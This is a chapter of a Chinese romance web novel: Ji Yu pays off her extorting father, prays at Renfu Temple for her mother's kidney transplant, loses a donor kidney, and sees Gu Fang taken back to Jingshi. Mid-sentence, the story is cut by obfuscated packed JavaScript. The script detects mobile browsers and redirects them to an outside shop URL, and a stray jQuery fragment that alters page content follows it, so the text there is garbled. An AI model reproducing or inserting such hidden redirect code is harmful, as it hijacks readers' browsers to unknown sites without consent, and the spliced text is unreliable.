从高考结束后,纪江海的要钱短信就没断过,有的时候一个星期一要,有的时候半个月一要。
纪遇一开始强硬地拒绝,两个人为此纠缠了一个多月,直到最近纪江海不知道听谁说了秦梅住院的事情,他犯贱地跑去医院闹了一通,秦梅气得呼吸不上来,并发症又加重了些。
纪遇不敢再冷处理。
医生说了秦梅需要静养,不能再被刺激了。
她恨透了这个爹,却也只能不停地打钱。
【我手上只剩下1000块,给你。别再找我要了。】她快速发完信息将手机关了机。
纪江海躲在狭小的不知名角落里,神色晃晃地四处张望,见女儿打了1000块来,兴奋地吐了口唾沫。
他就知道这小丫头心软得很,只要把秦梅拿捏住不怕没钱花。金钱的欲望盖过了被追杀的恐惧,纪江海心满意足地紧紧握着手机睡在了垃圾堆上。
有人欢喜有人忧,纪遇躺在宽敞的大床上一整晚都没睡着。
她的脑子里太乱了,只能不停地祈祷手术尽快完成。
顾放第二天准时敲响纪遇的房门,他张开双臂等在门口,一脸宠溺地看着睡眼惺忪的纪遇,将她一把抱进怀里。
“牙膏帮你挤好了,早餐也快好了,洗漱去纪小鱼。”
纪遇揉着眼睛点点头,想行动却被顾放箍着腰。
她一脸无语地吐槽顾放的口嫌体正:“说得挺好的,你倒是松手啊。”
顾放却没有一点自己错了的意思,只是嘴角带笑地指指自己的脸颊:“早安吻。”
纪遇生无可恋地“吧唧”一口才得到了通行许可证,她刷着牙偷偷看着镜子里映照的顾放的背影。
在刚和顾放相遇的时候,她是怎么也没想到顾放谈恋爱后居然这么粘人的。
任宵宵之前怎么说的来着?
她回想起任宵宵之前偷偷和她说的话。
“你等着瞧吧,顾放这种前拽得二八万的人,要是谈了恋爱指不定会有多粘人呢,而且……”任宵宵示意纪遇看顾放的手指关节。
她一脸坏笑地朝纪遇吹气:“听说手指关节粉的人,那个很厉害哦。”
听懂后的纪遇脸“砰”的一下红了起来,她像只炸毛的仓鼠猛地将脸埋进桌子里。
“任宵宵!!说话不要太大胆!!”她闷闷的声音从低下传来,声音不大却能听出她的恼怒。
纪遇想着当时的场景情不自禁地笑出声来。
“吃饭了——”顾放的声音从岛台上传来。
纪遇赶忙擦干净脸,跑着出去了。
两人在岛台上亲亲我我了一番,终于吃完饭。
顾放坐在新车上调试着导航,转头看着纪遇正好奇地打量着车内布置。
“你什么时候买的车?”她用手抚摸着米菲兔的抱枕,看着车内的装饰全是米菲兔时大吃一惊。
这是她最近新喜欢上的ip,顾放居然把用在了车内陈设上。
顾放憋着笑,缓缓靠近她:“成年的时候陈叔送我的,喜欢吗?”他身子越靠越近。
两人鼻尖再差几毫米就要抵上。
纪遇紧张地屏住呼吸,闭上双眼。
在车上亲?不太好吧。
但她还是乖乖地把小嘴撅起。
“咔哒。”安全带系好的声音响起。
顾放脸上扬着奸计得逞的笑容,嗓音里都带着舒畅:“系好安全带准备出发咯——”
“顾放!”
“在!”
“你故意的!”她秀眉因为恼羞成怒拧起,在她精致的脸蛋上平添几分生气。
顾放侧过头,快速“啵”一口,大言不惭。
“对,我故意的。”
纪遇彻底放弃了,她斗不过顾放。
一路绵延,城市的风景逐渐被扔在远处,仁福寺的入口大门逐渐出现在视野中。
仁福寺在仁福山的最顶上,要想去祈福,得先爬过一座山。
不过近些年游客越来越多,仁福寺景区开放了缆车。
“我们坐缆车上去吗?”顾放询问纪遇的意见。
“不,我们爬上去吧。”纪遇望着最顶上的寺庙。
她听人常说,自己费了力耗了心血的祈祷才是最灵验的。
她想自己爬上去。
顾放没意见,陪着她一路向上。
仁福山上的景色很好看,透过茂密的树丛向外望去,能将整个淮城尽收眼底。
金色的佛像伫立在高处,向下俯视着众人。
纪遇双手合十,虔诚地跪在垫子上,在心中默念。
求上苍怜悯,能够救秦梅一命,请不要让她被病痛夺去生命。
佛音缭绕,烟雾隔绝在她与佛像之间,纪遇叩拜三轮,和顾放走出寺庙外。
“这个寺庙很灵。”顾放安慰她,他声线里也有不确定的紧张,可还是说得坚定。
怕纪遇沉浸在焦虑中,顾放聊起其他话题,他问起任宵宵的近况,让纪遇有空了就去找任宵宵玩。
纪遇嗤笑一声:“任宵宵?在马尔代夫玩得忘乎所以呢,哦对了,谢沛升也去了。”说完这话,她才狐疑地看着顾放。
“他没告诉你?”
两人一对视,懂了状况。
纪遇故意打趣:“你们两个是不是商量好的?一人追一个啊!!”
顾放举起三指放在耳旁:“天地良心,我真不知道。谢老五那小子没跟我说过!”
两人一路打闹下山,嘻嘻哈哈的声音环绕着山林。
突然一老夫拦住他们,顾放被打扰到了,厌烦地挥挥手示意他别来扰人。
可老夫不听,便说纪遇是有缘人要算上一卦。
江湖骗子颇多,纪遇现在手上也没有闲钱,自然也是不愿意。
老头子无奈,捋一把胡子缓缓开口:“你们家里有人生病了。”
只一句话,留住了两人的脚步。
纪遇半信半疑地看着他,示意他继续说。
“姑娘,前方的路很长也很辛苦啊。你们两人是情侣吧,镜碎难圆亦可圆啊,苦啊苦啊。”他摸着胡子感叹着。
“老师傅,你别说我们俩的事了,能说说我家里的事情吗?”
那老夫却摆摆手:“不可,生老病死算不得,一切得看造化,但你们两个的感情倒是会一切两段,藕断丝连。说罢他摸出两根红绳,递给两人:“我不收你卦金,这红绳也算我送你们的。”
老头子说完就离开了,留下两个人看着手里的红绳面面相觑。
一刀两断,藕断丝连?
顾放冷笑一声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650799|203485||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
随意将红绳扔到地上:“我看他就是在装神弄鬼,别信。”
纪遇将红绳捡起,塞进他的裤子口袋里。
“就当图个吉利啦,说不定是月老的红绳哦。”
顾放心情稍微好点,仰着脸手臂勾着纪遇的肩,将她扯过来:“就算没有红绳,我也会找到你,把你抢过来。”
————
或许仁福寺的愿望真的被上天听到,没过几天医院就传来了好消息。
和秦梅匹配的肾源被找到了。
秦梅听到消息后难得的笑了,自从得知纪遇和自己配型成功后,秦梅就再也没笑过。
只要想到未来纪遇要因为她躺上手术台,秦梅心里就难受得不行,最近几天没透析治疗的日子都让人带她出去透透气才得以喘息。
这回有了肾源,她是觉得不会让纪遇冒这个险了。
手术被排在10天后,纪遇和秦梅每天都在倒数着日子,期待着手术到来的那一天。
可是事与愿违,在手术前两天,主治医生一通电话打到纪遇的手机上。
她不好意思地停了拍摄的动作,不停鞠躬道歉地接通电话。
“纪遇,不好意思,肾源……没有了。”
“什么意思?”她惊恐地问。
“不好意思,这涉及到医院内部我无法告知,但新的肾源需要等待。”说完医生挂断了电话,留下纪遇一个人红了眼眶。
摄影师那边在喊她快点回来继续拍摄,纪遇只能抹掉眼泪认真工作。
后来纪遇从顾放嘴里才知道,那个肾源是被抢走的,淮城有一个小男孩也需要这个肾,他的父母动用了关系将这颗肾抢了过来。
无力与虚脱再次笼罩上纪遇。
“还是用我的吧,妈妈。咱们等不起了。”她想了一晚上,打了电话给秦梅。
电话那头的秦梅艰难答应下来。
他们再一次进入了等待期,等待主刀医生的档期也等待她的身体再好一些。
顾放那边也自顾不暇起来。
顾荣梁故技重施,一通电话打来,没等顾放同意,一群黑衣保镖再一次把人绑上飞机。
他甚至没来得及和纪遇说一声,就被迫关掉了手机飞回了京市。
“您又要干什么?”他斜眼看着顾荣梁。
他眼袋大大挎起,头发在一夜之间白了不少,威严却还在。
“你哥出事了,你在这里待命,这段时间不准离开!”
田缕在病房外得死去活来,得奖时仰了一辈子的头,在病房外却垂得彻底。
“老公,快求求他们,救救小起,我们小起还这么小。”
顾荣梁深感无力,只能揽着田缕的肩支撑着她站起来。
顾放冷眼看着眼前的一切。
他讥笑一声,迈步去了熟悉的病房。
是为他专门准备的,在顾荣起好起来之前,他不能迈出医院半步。
从他这个角度可以看到顾荣起病房的一角。
顾放站在原地,盯着对面。
满屋子的仪器,各式各样的管子全都插在顾荣起的身上,像是怪物贪婪地在吸食他最后一丝养分。
顾荣起闭着眼睛,满脸苍白地躺在病床上,没有一丝生机。
顾放想起小时候,顾荣起的样子。